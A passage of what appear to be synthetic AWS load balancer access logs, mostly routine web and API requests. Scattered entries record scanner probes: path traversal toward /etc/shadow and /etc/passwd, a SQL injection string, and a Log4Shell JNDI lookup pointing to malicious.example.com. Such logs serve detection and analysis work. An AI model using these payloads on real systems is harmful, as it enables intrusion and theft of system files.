TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca23-86735bb44fbb4ff0a0041fbc" "staging-alb.example.com" "-" 4 2024-11-01T01:19:15.483691Z "forward" "-" "-" "255.62.170.10:443" "302" "-" "-" -https 2024-11-01T01:19:17.452255Z prod-web-alb 81.38.39.220:63947 10.0.167.119:443 0.057812 0.069800 0.080652 200 200 44 8989 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca25-1c3f58022bf4433a8ae29fee" "prod-web-alb.example.com" "-" 0 2024-11-01T01:19:17.452255Z "forward" "-" "-" "10.0.167.119:443" "200" "-" "-" -https 2024-11-01T01:19:18.230630Z staging-alb 70.48.67.182:19250 3.161.29.134:80 0.054254 0.191768 0.122552 404 404 820 12564 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca26-7951111de5664eb2bb9c398c" "staging-alb.example.com" "-" 2 2024-11-01T01:19:18.230630Z "forward" "-" "-" "3.161.29.134:80" "404" "-" "-" -https 2024-11-01T01:19:20.021482Z prod-api-alb 110.50.89.29:35756 10.0.123.93:443 0.045554 0.136423 0.056806 301 301 356 10280 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca28-41020b393cb943eeb5b89148" "prod-api-alb.example.com" "-" 1 2024-11-01T01:19:20.021482Z "forward" "-" "-" "10.0.123.93:443" "301" "-" "-" -https 2024-11-01T01:19:21.845670Z prod-api-alb 12.16.253.74:31635 10.0.70.61:443 0.024167 0.159796 0.036756 200 200 943 8240 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca29-03d9a11cec5b4e798847ca2e" "prod-api-alb.example.com" "-" 6 2024-11-01T01:19:21.845670Z "forward" "-" "-" "10.0.70.61:443" "200" "-" "-" -https 2024-11-01T01:19:22.707981Z staging-alb 241.245.136.91:53836 172.34.208.248:443 0.138416 0.318264 0.096654 200 200 304 1286 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca2a-6fa451db925c45238a0bf8ce" "staging-alb.example.com" "-" 10 2024-11-01T01:19:22.707981Z "forward" "-" "-" "172.34.208.248:443" "200" "-" "-" -https 2024-11-01T01:19:23.850296Z prod-api-alb 44.225.114.78:11192 10.0.216.181:443 0.034443 0.489648 0.054330 200 200 670 8763 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca2b-8f3ea543cb86409b98c17140" "prod-api-alb.example.com" "-" 1 2024-11-01T01:19:23.850296Z "forward" "-" "-" "10.0.216.181:443" "200" "-" "-" -https 2024-11-01T01:19:25.547305Z prod-web-alb 213.150.101.41:28594 10.0.254.34:443 0.097477 0.462784 0.046873 200 200 305 10843 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca2d-f06cada3693c4e859bfdb9c0" "prod-web-alb.example.com" "-" 2 2024-11-01T01:19:25.547305Z "forward" "-" "-" "10.0.254.34:443" "200" "-" "-" -https 2024-11-01T01:19:26.688511Z prod-api-alb 253.55.77.56:19181 10.0.244.162:443 0.027718 0.460873 0.006393 200 200 269 7690 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca2e-f102361e00594be5953e9252" "prod-api-alb.example.com" "-" 5 2024-11-01T01:19:26.688511Z "forward" "-" "-" "10.0.244.162:443" "200" "-" "-" -http 2024-11-01T01:19:27.189688Z staging-alb 185.181.68.44:11626 19.220.3.161:8080 0.120593 0.598934 0.034647 403 403 73 11506 "GET /images/../../../../etc/shadow HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca2f-4d81822a20804267b2cdb1d9" "-" "-" 1 2024-11-01T01:19:27.189688Z "forward" "-" "-" "19.220.3.161:8080" "403" "-" "-" -https 2024-11-01T01:19:27.299233Z staging-alb 162.213.185.59:14456 218.7.27.162:80 0.016286 0.656480 0.006243 404 404 506 12764 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca2f-917e97f87a7e4f1eb51428b5" "staging-alb.example.com" "-" 6 2024-11-01T01:19:27.299233Z "forward" "-" "-" "218.7.27.162:80" "404" "-" "-" -https 2024-11-01T01:19:27.962482Z prod-api-alb 86.167.21.216:61976 10.0.89.24:443 0.041908 0.032149 0.088312 301 301 721 13979 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca2f-7bbee0992dbe4b1f8ab75542" "prod-api-alb.example.com" "-" 5 2024-11-01T01:19:27.962482Z "forward" "-" "-" "10.0.89.24:443" "301" "-" "-" -https 2024-11-01T01:19:29.791082Z prod-api-alb 62.128.115.112:23467 10.0.75.2:443 0.080698 0.425167 0.009676 301 301 503 12245 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca31-712f12a1e6744c87af99089b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:19:29.791082Z "forward" "-" "-" "10.0.75.2:443" "301" "-" "-" -http 2024-11-01T01:19:30.827136Z staging-alb 93.219.127.198:33211 77.114.47.32:80 0.107118 0.014892 0.019117 301 301 605 14379 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca32-d94f85775e5d451cbe0bab97" "staging-alb.example.com" "-" 1 2024-11-01T01:19:30.827136Z "forward" "-" "-" "77.114.47.32:80" "301" "-" "-" -http 2024-11-01T01:19:31.552960Z staging-alb 172.31.112.53:14155 24.47.92.243:80 0.026816 0.111745 0.005708 200 200 383 8334 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca33-2c9076050bf9480687b10b4e" "staging-alb.example.com" "-" 6 2024-11-01T01:19:31.552960Z "forward" "-" "-" "24.47.92.243:80" "200" "-" "-" -https 2024-11-01T01:19:31.963186Z prod-web-alb 193.27.228.118:62529 10.0.65.51:443 0.083764 0.172961 0.059766 403 403 832 5221 "POST /server-status HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca33-e04860892c7e484ab8434951" "-" "-" 10 2024-11-01T01:19:31.963186Z "forward" "-" "-" "10.0.65.51:443" "403" "-" "-" -https 2024-11-01T01:19:33.746833Z prod-web-alb 56.120.37.252:26765 10.0.23.129:443 0.048164 0.481972 0.077170 301 301 347 1557 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca35-387e81cb72e144519a1b0f38" "prod-web-alb.example.com" "-" 8 2024-11-01T01:19:33.746833Z "forward" "-" "-" "10.0.23.129:443" "301" "-" "-" -https 2024-11-01T01:19:34.105334Z prod-api-alb 232.120.187.179:19111 10.0.230.163:443 0.033172 0.278746 0.060235 200 200 437 4358 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca36-0207595f3f0d45b88246e2a3" "prod-api-alb.example.com" "-" 8 2024-11-01T01:19:34.105334Z "forward" "-" "-" "10.0.230.163:443" "200" "-" "-" -http 2024-11-01T01:19:35.803800Z staging-alb 95.216.224.173:33627 217.139.226.44:80 0.080583 0.587604 0.010384 200 200 203 374 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca37-66c8494353544448b1954bfb" "staging-alb.example.com" "-" 2 2024-11-01T01:19:35.803800Z "forward" "-" "-" "217.139.226.44:80" "200" "-" "-" -http 2024-11-01T01:19:36.306927Z staging-alb 237.9.188.159:19855 219.123.157.134:80 0.102864 0.584454 0.020583 200 200 962 2986 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca38-8f27e33aa61a4e448599c268" "staging-alb.example.com" "-" 1 2024-11-01T01:19:36.306927Z "forward" "-" "-" "219.123.157.134:80" "200" "-" "-" -https 2024-11-01T01:19:36.548365Z prod-api-alb 106.42.78.159:11240 10.0.192.175:443 0.033732 0.238891 0.029801 404 404 605 4477 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca38-8a6d49f93d714dc490444010" "prod-api-alb.example.com" "-" 1 2024-11-01T01:19:36.548365Z "forward" "-" "-" "10.0.192.175:443" "404" "-" "-" -https 2024-11-01T01:19:37.935214Z staging-alb 77.210.166.164:44213 41.12.111.123:443 0.064370 0.473790 0.014644 200 200 509 10533 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca39-d82abbf9ea7743e293ab51a8" "staging-alb.example.com" "-" 5 2024-11-01T01:19:37.935214Z "forward" "-" "-" "41.12.111.123:443" "200" "-" "-" -https 2024-11-01T01:19:39.694844Z staging-alb 123.231.77.26:47843 86.218.52.115:80 0.084148 0.496683 0.075865 200 200 729 11654 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca3b-bd0d0b6445a7466c95e8d0cf" "staging-alb.example.com" "-" 5 2024-11-01T01:19:39.694844Z "forward" "-" "-" "86.218.52.115:80" "200" "-" "-" -https 2024-11-01T01:19:41.195846Z prod-web-alb 121.202.9.171:27125 10.0.124.35:443 0.000360 0.169081 0.097269 200 200 751 9682 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca3d-82aeafb7e677413885bc7e5d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:19:41.195846Z "forward" "-" "-" "10.0.124.35:443" "200" "-" "-" -https 2024-11-01T01:19:41.300554Z prod-web-alb 40.150.204.49:14677 10.0.136.81:443 0.027835 0.065917 0.045728 302 302 499 5364 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca3d-eb0fad472320431482f913c7" "prod-web-alb.example.com" "-" 5 2024-11-01T01:19:41.300554Z "forward" "-" "-" "10.0.136.81:443" "302" "-" "-" -https 2024-11-01T01:19:42.407182Z prod-web-alb 185.181.135.255:13986 10.0.68.159:443 0.011681 0.323286 0.061279 500 500 779 971 "POST /users?id=1 OR 1=1 HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca3e-e69e6e0de8824cbb875a099f" "-" "-" 2 2024-11-01T01:19:42.407182Z "forward" "-" "-" "10.0.68.159:443" "500" "-" "-" -https 2024-11-01T01:19:43.526785Z prod-web-alb 84.12.207.24:29339 10.0.91.167:443 0.095212 0.467581 0.087397 301 301 592 12199 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca3f-daef9fabca844a7fa77cade0" "prod-web-alb.example.com" "-" 3 2024-11-01T01:19:43.526785Z "forward" "-" "-" "10.0.91.167:443" "301" "-" "-" -https 2024-11-01T01:19:43.670600Z prod-api-alb 178.149.70.230:28300 10.0.42.80:443 0.000113 0.052203 0.019080 302 302 536 2270 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca3f-510048e98ea04c349856e30b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:19:43.670600Z "forward" "-" "-" "10.0.42.80:443" "302" "-" "-" -https 2024-11-01T01:19:43.951714Z prod-web-alb 205.75.74.1:59501 10.0.239.228:443 0.032806 0.036542 0.024083 200 200 83 8282 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca3f-033e8761f77b4916acbb8675" "-" "-" 8 2024-11-01T01:19:43.951714Z "forward" "-" "-" "10.0.239.228:443" "200" "-" "-" -https 2024-11-01T01:19:45.788010Z staging-alb 99.203.72.171:20890 157.212.165.146:80 0.125197 0.680759 0.146966 404 404 98 1673 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca41-72848a7283bf4351824418b0" "staging-alb.example.com" "-" 6 2024-11-01T01:19:45.788010Z "forward" "-" "-" "157.212.165.146:80" "404" "-" "-" -http 2024-11-01T01:19:46.100737Z staging-alb 200.227.10.68:21339 167.61.90.71:8080 0.046600 0.613748 0.059949 404 404 532 1920 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca42-b245c5a8467c476f8f51493c" "staging-alb.example.com" "-" 7 2024-11-01T01:19:46.100737Z "forward" "-" "-" "167.61.90.71:8080" "404" "-" "-" -https 2024-11-01T01:19:47.421901Z prod-web-alb 218.33.26.134:62062 10.0.67.158:443 0.080724 0.173780 0.005465 404 404 233 8885 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca43-35033fae00694105b384da1a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:19:47.421901Z "forward" "-" "-" "10.0.67.158:443" "404" "-" "-" -https 2024-11-01T01:19:48.302307Z prod-api-alb 253.66.186.107:37094 10.0.28.23:443 0.044574 0.136311 0.090776 301 301 758 2668 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca44-502b803256b342f980682b59" "prod-api-alb.example.com" "-" 2 2024-11-01T01:19:48.302307Z "forward" "-" "-" "10.0.28.23:443" "301" "-" "-" -https 2024-11-01T01:19:49.755564Z staging-alb 45.155.205.147:23411 43.58.45.125:80 0.139288 0.452071 0.101184 404 404 249 4029 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca45-a4250632792243de90c17425" "-" "-" 8 2024-11-01T01:19:49.755564Z "forward" "-" "-" "43.58.45.125:80" "404" "-" "-" -https 2024-11-01T01:19:51.237560Z prod-web-alb 193.220.227.113:47180 10.0.9.42:443 0.004976 0.342989 0.024688 302 302 768 7536 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca47-0cd4d6fb5f064749bcee6a9d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:19:51.237560Z "forward" "-" "-" "10.0.9.42:443" "302" "-" "-" -https 2024-11-01T01:19:51.540071Z prod-web-alb 193.27.228.155:31210 10.0.87.27:443 0.046961 0.090058 0.057896 500 500 129 5751 "GET /actuator/env HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca47-7aa30ed93dff4163b88510b2" "-" "-" 2 2024-11-01T01:19:51.540071Z "forward" "-" "-" "10.0.87.27:443" "500" "-" "-" -https 2024-11-01T01:19:51.815636Z prod-api-alb 77.21.40.94:30492 10.0.4.132:443 0.071170 0.086750 0.027920 200 200 724 12768 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca47-a324b6ba1fb34a5684e67b67" "prod-api-alb.example.com" "-" 3 2024-11-01T01:19:51.815636Z "forward" "-" "-" "10.0.4.132:443" "200" "-" "-" -https 2024-11-01T01:19:52.429574Z prod-web-alb 121.0.11.25:30876 10.0.219.186:443 0.057401 0.401484 0.055743 302 302 77 8235 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca48-11cd46fc8dad49c4b73dfa9d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:19:52.429574Z "forward" "-" "-" "10.0.219.186:443" "302" "-" "-" -https 2024-11-01T01:19:54.228626Z prod-api-alb 216.36.12.231:30524 10.0.27.122:443 0.086225 0.083954 0.011681 200 200 3 6896 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca4a-fc422c3a2b3f418ea61afeec" "prod-api-alb.example.com" "-" 9 2024-11-01T01:19:54.228626Z "forward" "-" "-" "10.0.27.122:443" "200" "-" "-" -https 2024-11-01T01:19:56.058379Z prod-web-alb 45.155.205.67:47006 10.0.14.54:443 0.001919 0.358800 0.017561 404 404 726 303 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca4c-24ef7d9501de456086781e97" "-" "-" 1 2024-11-01T01:19:56.058379Z "forward" "-" "-" "10.0.14.54:443" "404" "-" "-" -https 2024-11-01T01:19:56.218116Z prod-api-alb 119.213.41.42:38896 10.0.221.202:443 0.091427 0.382260 0.058773 301 301 409 5450 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca4c-fc4a44690b4446d48377124e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:19:56.218116Z "forward" "-" "-" "10.0.221.202:443" "301" "-" "-" -https 2024-11-01T01:19:57.410297Z prod-api-alb 51.153.97.178:23881 10.0.113.134:443 0.089651 0.057657 0.049829 301 301 807 673 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca4d-b6fcb022bf3a431e9f3a52a2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:19:57.410297Z "forward" "-" "-" "10.0.113.134:443" "301" "-" "-" -https 2024-11-01T01:19:58.718634Z prod-api-alb 172.207.160.16:45346 10.0.87.205:443 0.021024 0.084079 0.095042 404 404 16 8583 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca4e-15eb7f34a39d465ab7a947e9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:19:58.718634Z "forward" "-" "-" "10.0.87.205:443" "404" "-" "-" -https 2024-11-01T01:19:59.638157Z prod-web-alb 123.242.131.150:11218 10.0.149.159:443 0.050618 0.038511 0.089390 404 404 657 9298 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca4f-e74c44e6765648dd9d44af1e" "prod-web-alb.example.com" "-" 5 2024-11-01T01:19:59.638157Z "forward" "-" "-" "10.0.149.159:443" "404" "-" "-" -http 2024-11-01T01:20:00.563587Z staging-alb 36.103.250.101:25769 77.206.235.122:443 0.003357 0.427268 0.105353 200 200 515 1328 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca50-af2cc8f3959a4fad828035a6" "staging-alb.example.com" "-" 2 2024-11-01T01:20:00.563587Z "forward" "-" "-" "77.206.235.122:443" "200" "-" "-" -https 2024-11-01T01:20:02.367430Z prod-web-alb 118.90.176.111:20724 10.0.164.69:443 0.094290 0.076961 0.059318 200 200 439 1983 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca52-78dd0ec526ca4375ad7b0583" "prod-web-alb.example.com" "-" 3 2024-11-01T01:20:02.367430Z "forward" "-" "-" "10.0.164.69:443" "200" "-" "-" -https 2024-11-01T01:20:04.004980Z staging-alb 139.45.197.148:11253 0.168.157.178:8080 0.082378 0.532304 0.111159 301 301 584 13581 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca54-ddc4fb3323ed41bca7ae4b75" "staging-alb.example.com" "-" 10 2024-11-01T01:20:04.004980Z "forward" "-" "-" "0.168.157.178:8080" "301" "-" "-" -http 2024-11-01T01:20:04.148131Z staging-alb 186.47.201.116:62469 232.77.150.43:443 0.048066 0.344362 0.088905 200 200 145 2165 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca54-a1d22f3df69a484b9cabec89" "staging-alb.example.com" "-" 4 2024-11-01T01:20:04.148131Z "forward" "-" "-" "232.77.150.43:443" "200" "-" "-" -https 2024-11-01T01:20:04.473859Z prod-api-alb 84.108.223.242:29006 10.0.206.134:443 0.060971 0.432398 0.082489 200 200 292 8225 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 